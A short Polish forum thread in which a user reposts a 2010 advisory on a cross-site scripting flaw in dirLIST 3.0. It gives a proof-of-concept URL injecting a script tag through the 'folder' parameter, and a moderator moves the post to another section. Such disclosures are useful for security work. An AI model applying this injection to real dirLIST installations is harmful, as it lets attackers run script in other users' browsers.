xss w dirLIST

[lem]

skoro wszystko co zwiazane z pomyslami i sugestiami uzytkownikow forum, wklejam pliczek ktory dostalem kiedys tam od kogos tam...

Name 	: dirLIST 3.0 

Vendor 	: http://dir-list.sourceforge.net

Bug 	: XSS 

Date 	: 1.06.2010

Tested 	: Ubuntu 10 LTS

Thanks	: 4 you

Details	:
	
	http://localhost/dirLIST_0.3.0/index.php?folder=<script>alert(123)</script>

[Mad_Dud]

... ale odnośnie forum, a nie bezpieczeństwa.
Przenoszę z Sprawy organizacyjne > Pomysły/Sugestie

[lem]

na luzie, oby sie komus przydalo

edit: tak na marginesie, to tam jest tych xssow od groma... 8)